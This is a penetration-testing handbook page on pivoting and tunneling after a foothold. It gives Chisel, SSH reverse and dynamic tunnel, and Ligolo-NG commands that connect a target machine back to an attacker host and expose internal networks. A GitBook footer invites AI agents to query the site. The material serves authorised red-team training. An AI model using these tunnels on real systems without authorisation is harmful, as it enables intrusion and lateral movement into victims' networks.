> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/post-exploitation/data-exfiltration/tunneling.md).

# Pivot & Tunneling

## Chisel -Port To Port

<https://github.com/jpillora/chisel>

```
#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:<port-to-forward>/tcp

```

## Chisel - SOCKS

```
#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:socks

```

## SSH local port forwarding

```
ssh user@<machina-ip> -T -L <your-port>:localhost:<remote/victim port>
```

You can then browse/connect to localhost:your-port to acess victim:remote--port

## SSH forward dynamic (SOCKS) proxy

```
ssh -D localhost:9999 -f -N target@<target-ip>
```

## Reverse SSH tunnel

One common scenario is gaining a foothold without credentials so you can't bind ssh tunnel. But you can still reverse SSH tunnel from the victim to your box. Using the following technique, you'll be able to reach those.

```
ssh -N -R 3306:localhost:3306 kali@<attacker-ip>
```

## Reverse SSH Dynamic (SOCKS) tunnel

```
ssh -N -R 127.0.0.1:9090 kali@<attacker-ip>
```

## Ligolo-NG

<https://github.com/nicocha30/ligolo-ng>

A coworker of mine showed me this and I instantly fell in love with the concept. It has a proxy-agent system and it works just like a VPN using a TUN interface.

### Setup TUN interface

```
sudo ip tuntap add user kali mode tun ligolo  
sudo ip link set ligolo up  
```

### Start proxy (agent handler)

```
./proxy -selfcert -laddr 10.10.14.21:443  
WARN[0000] Using automatically generated self-signed certificates (Not recommended)   
INFO[0000] Listening on 10.10.14.21:443  
```

### Connect an agent to the proxy

```
./agent -connect 10.10.14.21:443 -ignore-cert  
WARN[0000] warning, certificate validation disabled       
INFO[0000] Connection established  
```

### Session management from agent

```
session   -> choose session  
start

# add routes for networks (usually internal networks)  
sudo ip route add 192.168.210.0/24 dev ligolo  
sudo ip route add 192.168.110.0/24 dev ligolo  
```

### Configure port forwarding

```
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp  
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.turbosec.net/post-exploitation/data-exfiltration/tunneling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.